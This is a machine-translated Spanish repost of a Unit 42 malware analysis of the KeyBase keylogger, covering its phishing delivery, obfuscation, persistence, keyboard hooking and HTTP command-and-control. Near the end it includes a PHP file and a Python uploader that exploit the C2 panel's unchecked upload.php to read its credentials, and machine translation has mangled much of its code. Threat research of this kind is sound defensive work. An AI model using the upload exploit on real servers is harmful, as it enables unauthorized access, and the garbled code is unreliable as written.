KeyBase Keylogger familia de malware expuesto

KeyBase Keylogger familia de malware expuesto

25171
Created On 09/26/18 13:39 PM - Last Modified 02/07/19 23:36 PM


Resolution


Reimprima de la unidad 42.

En los últimos meses, nuestro equipo ha sido el seguimiento de una familia de malware Keylogger llamado KeyBase que ha estado en la naturaleza desde el 2015 de febrero. El malware viene equipado con una variedad de características y se puede comprar por $50 directamente desde el autor. Se ha desplegado en ataques contra organizaciones en muchas industrias y es predominantemente entregado a través de correos electrónicos phishing.

En total, el servicio de inteligencia de amenazas de Palo Alto Networks identificó 295 muestras únicas de aproximadamente 1.500 sesiones únicas en los últimos cuatro meses. Los ataques se han dirigido principalmente a las industrias de alta tecnología, educación superior y minorista.

Distribución y objetivos de malware

KeyBase fue observado por primera vez a mediados de febrero de 2015. Poco antes de entonces, el dominio ' keybase [.] in ', se registró como página de inicio y tienda en línea para el keylogger KeyBase.

Nombre de dominio: KEYBASE. En

Creado en: 04-Feb-2015 08:27:44 UTC

Last Updated on: 05-Apr-2015 19:20:38 UTC

Fecha de caducidad: 04-Feb-2016 08:27:44 UTC

Esta actividad está en línea con un registro inicial realizado por un usuario con el identificador ' support ™ ' anunciando KeyBase en el Foro hackforums.net el 7 de febrero de 2015. En el post del foro, el malware promociona las siguientes características:

  • Keylogger avanzado
  • Tiempo de análisis y tiempo de ejecución no detectados (posteriormente eliminado)
  • Panel Web fácil de usar
  • Soporte de Unicode
  • Recuperación de contraseña

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-forums.png

Figura 1. KeyBase publicación en hackforums.net

Desde el 2015 de febrero, aproximadamente 1.500 sesiones transportando KeyBase han sido capturadas por incendios forestales, como podemos ver a continuación:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-2.png

Figura 2. KeyBase Timeline en el enfoque automático

También podemos determinar rápidamente las industrias seleccionadas utilizando el enfoque automático:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-3.png

Figura 3. Industrias focalizadas en el enfoque automático

Las empresas objetivo abarcan el mundo y se encuentran en muchos países.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-4.png

Figura 4. Países focalizados en el enfoque automático

Este malware se entrega principalmente a través de correos phishing usando Señuelos comunes. A continuación se pueden ver algunos ejemplos de nombres de archivo adjunto:

  • Order. exe de compra
  • Nuevo order. exe
  • Document 27895. SCR
  • Payment Document. exe
  • PO #7478. exe
  • Facturas atrasadas. exe

Un ejemplo de un correo electrónico que entrega KeyBase se puede ver a continuación.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-5.png

Figura 5. KeyBase phishing email

En general, la unidad 42 ha visto un gran número de campañas separadas utilizando KeyBase. Como el software puede ser fácilmente comprado por cualquier persona, esto no viene como sorpresa. Como podemos ver en el siguiente diagrama, se han identificado alrededor de 50 diferentes servidores de comando y control (C2) con hasta 50 muestras únicas conectadas a un solo C2.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-6.png

Figura 6. Diagrama de la campaña KeyBase

Resumen de malware

KeyBase sí mismo está escrito en C# utilizando .NET Framework. Estos hechos nos permitieron descompilar el código subyacente e identificar la funcionalidad y características clave del keylogger.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-7.png

Figura 7. Logo KeyBase

La funcionalidad en KeyBase incluye lo siguiente:

  • Mostrar un sitio web al iniciar
  • Capturas de pantalla
  • Descargar/ejecutar
  • Persistencia
  • Temporizador de Kill

Cuando se ejecuta el malware inicialmente, se generan una serie de subprocesos.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-8.png

Figura 8. Función principal de KeyBase

Las distintas funciones generadas en los nuevos subprocesos pueden ser inertes basándose en las opciones especificadas por el atacante durante la compilación. Si no se habilita una función, una función se asemeja a la siguiente:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-9.png

Figura 9. Funciones inertes en KeyBase

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-10.png

Figura 10. KeyBase Builder

El autor hace uso de una serie de técnicas de ofuscación sencillas en varias cadenas utilizadas en el código. Ejemplos de esto incluyen reemplazar caracteres individuales que se han agregado a cadenas, así como realizar operaciones inversas en cadenas.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-FIGURE-11.png

Figura 11. Ofuscación de cadenas mediante reemplazar

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-12.png

Figura 12. Ofuscación de cadenas mediante reversa

Además, el autor hace uso de una clase de ' encriptación '. Esta clase se utiliza para descifrar una serie de cadenas encontradas en el código.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-13.png

Figura 13. Clase de encriptación KeyBase

Las referencias a este código descompilado fueron descubiertas en una publicación antigua en hackforums.net, donde el usuario ' etéreo ' proporcionó código de ejemplo.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-Figure-14.png

Figura 14. Registro de código de encriptación en hackforums.net

Vemos la función ' DecryptText ' utilizada por el autor cuando carga dinámicamente un número de APIs de Microsoft Windows.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-15.png

Figura 15. Funciones de API ofuscadas en KeyBase

El siguiente código Python se puede utilizar para descifrar estas cadenas.

Marcador de sintaxis de Crayon v 2.6.6

#! / usr/bin/python

#-*-codificación: utf-8-*-

Strings = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u "ŝ ƕ Ƹš Ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \

            u "ķůƒĻŮɗůőŮšŖŴƌůŨž ¥", \

            u "ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \

            u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u "ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \

            u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u "ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]

Key = ' KeyBase '

DEF DEC (Str, Key):

  key_len = Len (llave)

  out = ""

  para c, s adentro enumeran (Str [:-1]):

  out + = Chr (Ord (s)-Ord (Key [c% key_len])-Ord (Str [-1]))

  volver a salir

para s en cadenas:

  Print "descodificado:% 25s |  Codificado:% s "% (DEC (s, Key), repr (s))

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#! / usr/bin/python

#-*-codificación: utf-8-*-

Strings = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u"ŝ ƕ Ƹš Ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \

            u"ķůƒĻŮɗůőŮšŖŴƌůŨž ¥", \

            u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \

            u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \

            u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u"ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            uƢDŽƏʀưƑƋƯƶŻƝØ" ]

Key = ' KeyBase '

DEF Dec(Str, key):

    key_len = Len(llave)

    out = ""

    para c, s adentro enumeran(Str[:-1]):

        out + = Chr(Ord(s) - Ord(key[c%key_len]) - Ord(Str[-1]) )

    volver a salir

para s en cadenas:

    Print "descodificado:% 25s |  Codificado:% s " % (Dec(s, key), repr(s))

[tiempo del formato: 0,0047 segundos]

Persistencia

La persistencia en KeyBase, si se habilita, se consigue utilizando dos técnicas: copiar el malware en la carpeta de inicio o establecer la clave Run del registro en Autorun al iniciar. Cuando KeyBase se copia a la carpeta de inicio, se denomina ' Important. exe '. El autor lo configura estáticamente y no puede ser cambiado por el usuario en la versión actual. La clave utilizada en la siguiente clave de registro de ejecución está establecida por el usuario y siempre es un valor hexadecimal de 32 bytes.

CurrentVersion [32 byte Key]: [ruta a ejecutable]

Keylogging

Keylogging en KeyBase se logra sobre todo en una clase separada apropiadamente nombrada ' KeyHook. ' Mientras que la clase comparte un nombre con un repositorio disponible públicamente en github, la clase parece estar escrita a la medida. Si bien es costumbre, la propia clase utiliza una técnica muy común para utilizar el SetWindowsHookExA de Microsoft Windows para enganchar el teclado de la víctima.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-16.png

Figura 16. Enganchar el teclado vía SetWindowsHookExA

El autor procede a controlar los eventos de teclado apropiados como se esperaba.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-17.png

Figura 17. Controlar eventos de teclado

La clase también tiene la capacidad de manejar caracteres Unicode, así como obtener el nombre de la ventana de primer plano. Esto permite que el malware no sólo Identifique qué teclas se están presionando, sino a qué aplicación se envían las prensas de teclas.

Comando y control (C2)

Toda la comunicación con un servidor remoto tiene lugar vía http. Los datos no están encriptados ni ofuscados de ninguna manera. Tras la ejecución inicial, KeyBase realizará un check-in inicial en el servidor remoto, como podemos ver a continuación.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-18.png

Figura 18. Solicitud de notificación de KeyBase inicial HTTP GET

Una serie de encabezados HTTP no se incluyen con la solicitud. Esto proporciona una técnica simple para marcar la actividad como maliciosa. También es importante notar que es bastante elemental detectar la actividad usando las variables codificado Get incluidas en la solicitud. Mientras que el nombre de la máquina víctima y la hora actual variarán, el resto de la solicitud permanecerá estática.

KeyBase también puede enviar los siguientes datos de vuelta a su servidor C2:

  • Teclas
  • Portapapeles
  • Capturas de pantalla

Ejemplos de estos datos se pueden ver a continuación.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-19.png

Figura 19. KeyBase cargando datos del portapapeles

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-20.png

Figura 20. KeyBase carga de datos de teclado

Durante esta comunicación con su servidor C2, KeyBase incluirá el portapapeles RAW y los datos de registro de pulsaciones usando varios parámetros GET. Estos datos están codificados por Uri, pero de lo contrario se envían en claro.

Finalmente, Keybase también usará un URI específico para subir capturas de pantallas. La ruta '/Image/upload.php ' se codificado dentro del malware. Todas las imágenes enviadas a su servidor C2 se colocarán dentro de la ruta '/Image/images/'. Los datos subidos se envían de nuevo sin encriptar, como podemos ver a continuación.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-21.png

Figura 21. KeyBase Uploading screenshot Image

Panel Web

El panel Web en sí no proporciona ninguna característica innovadora. Utiliza un esquema de color rojo/gris simple como se ve a continuación.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-22.png

Figura 22. Panel web KeyBase

El panel permite al atacante ver rápidamente las máquinas infectadas, las pulsaciones de teclado, las capturas de pantalla, los datos del portapapeles y los datos de contraseña. Desafortunadamente, el autor de KeyBase no hace uso de la paginación, lo que resulta en un rendimiento deficiente en caso de que se muestre una gran cantidad de datos al atacante.

Descubrimientos interesantes

Durante el curso de nuestra investigación, la unidad 42 descubrió que no era necesaria ninguna autenticación cuando se visualizaba el path '/Image/images/'. Un servidor C2 en particular se destacó porque parecía que el operador estaba probando KeyBase en su máquina local. Como tal, los screenshots de su máquina fueron subidos a su servidor y podrían ser vistos por el público en general. En la captura de pantalla de abajo, podemos ver claramente la carpeta ' KeyBase v 1.0 '. Esta carpeta casi sin duda contiene la instalación de KeyBase. Al ver el escritorio del operador, también podemos ver varios keyloggers, como ' Hawkeye Keylogger ' y ' Knight logger '. También de la nota es un Cryptor popular nombrado ' AegisCrypter '. Por último, también podemos ver que el usuario se compromete en la piratería, como copias de tanto ' El Hobbit ' y ' Fury ' aparecen en el escritorio también.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-23.png

Figura 23. KeyBase Operator Desktop screenshot

Mientras continúa examinando las imágenes cargadas, también identificamos el usuario que inicia sesión en una instancia de Windows Web Server 2008 R2 a través de escritorio remoto. Esto parece ser donde el atacante está lanzando sus campañas de spam usando una instancia de ' Turbo-Mailer 2.7.10 '. Desafortunadamente, parece que el operador había olvidado su nombre de usuario/contraseña en este momento en particular.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-24.png

Figura 24. Operador KeyBase enviando emails phishing

El examen adicional de las capturas de pantallas subidas muestra la actividad del usuario que ingresa en su cuenta de Facebook. El usuario parece ser llamado ' China Onyeali ' y se observa discutiendo algunos de sus últimos esfuerzos. En concreto, vemos un enlace a un archivo. rar alojado en rghost [.] net que contiene el siguiente archivo. También vemos al operador discutiendo el Hawkeye Keylogger en otra ventana de chat. La página de Facebook del operador afirma que vive en Mbieri, Nigeria. Anteriormente reportamos a actores nigerianos usando herramientas fuera de esta plataforma para atacar negocios en nuestro Informe de evolución 419 el pasado mes de julio. Este usuario ha sido reportado al equipo de seguridad de Facebook.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-25.png

Figura 25. Operador KeyBase registrado en Facebook

Otros descubrimientos interesantes

Otros descubrimientos interesantes fueron hechos mientras que investigaba el código del backend C2. En particular, el archivo upload. php fue examinado y analizado, ya que este archivo maneja las subidas de archivos al servidor. Como podemos ver, no hay ninguna validación para los tipos de archivos cargados en el servidor remoto.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-26.png

Figura 26. KeyBase screenshot upload php script

Esto plantea un problema desde una perspectiva de seguridad, ya que un tercero puede simplemente subir un script PHP al directorio '/Image/images/' para obtener acceso no autorizado. El siguiente código PHP puede ser usado para leer el script de KeyBase ' config. php ', que contiene el nombre de usuario y la contraseña para el panel Web.

Marcador de sintaxis de Crayon v 2.6.6

<? php

  $file = '.. /.. /config.php ';

  echo "¡ funciona!".<br>";

  if (file_exists ($File)) {

  echo "archivo de lectura". "<br>";

  echo file_get_contents ($File);

  }

?>

1

2

3

4

5

6

7

8

9

10

<? php

    $file = '.. /.. /config.php ';

    echo "¡ funciona!" . "<br>";

    If (file_exists($file)) {

        echo "archivo de lectura"."<br>";

        echo file_get_contents($file);

    }

?>

[tiempo del formato: 0,0047 segundos]

Además, el siguiente código Python puede ser usado para cargar este archivo y leer los resultados.

Marcador de sintaxis de Crayon v 2.6.6

solicitudes de importación

Import sys

Si Len (sys. argv)! = 2:

  Imprimir "uso:% s [php_file]"% __file__

  Sys.Exit(1)

URL = ""

Imprimir "solicitud de envío..."

multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open (sys. argv [1], ' RB '))]]

r = requests. post (URL + "Image/upload. php", files = multiple_files)

Imprimir "resultados:"

imprimir

r = peticiones. get (URL + "Image/images/Win-JJFOIJGL_6_5_14_22_2. php")

imprimir r. Text

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

solicitudes de importación

Import sys

Si Len(Sys. argv) ! = 2:

    imprimir "uso:% s [php_file]" % __file__

    sys. salida(1)

URL = ""

imprimir "solicitud de envío..."

multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open(Sys. argv[1], ' RB' ))]

r = peticiones. post(URL + "Image/upload. php", files=multiple_files)

imprimir "resultados:"

imprimir

r = peticiones. Get(URL + "Image/images/Win-JJFOIJGL_6_5_14_22_2. php" )

imprimir r. texto

[tiempo del formato: 0,0028 segundos]

Conclusión

En general, este malware KeyBase es bastante poco sofisticado. Carece de una serie de características disponibles en algunas de las familias de malware más populares, y el panel web C2 contiene vulnerabilidades de seguridad que podrían permitir a un tercero para obtener acceso no autorizado. El constructor para KeyBase proporciona una interfaz fácil de usar, amigable con el usuario; sin embargo, una serie de opciones son codificado en el malware en sí. Algunos ejemplos incluyen el nombre de archivo KeyBase utiliza cuando se copia para mantener la persistencia, y varias rutas de URI que utiliza durante la fase de comando y control.

Si bien este malware tiene algunos problemas con la sofisticación, la unidad 42 ha observado un aumento significativo y continuado en el uso por los atacantes, en general, dirigido a la alta tecnología, la educación superior, y las industrias minoristas. Los clientes de Palo Alto Networks están protegidos a través de Wildfire, que es capaz de detectar KeyBase como maliciosos. Los lectores también pueden utilizar los indicadores proporcionados para desplegar protecciones.

Para obtener una lista de los hashes de ejemplo y sus dominios asociados y direcciones IP, consulte el siguiente enlace.



Actions
  • Print
  • Copy Link

    https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000CllPCAS&lang=es%E2%80%A9&refURL=http%3A%2F%2Fknowledgebase.paloaltonetworks.com%2FKCSArticleDetail&refURL=http%3A%2F%2Fknowledgebase.paloaltonetworks.com%2FKCSArticleDetail

Choose Language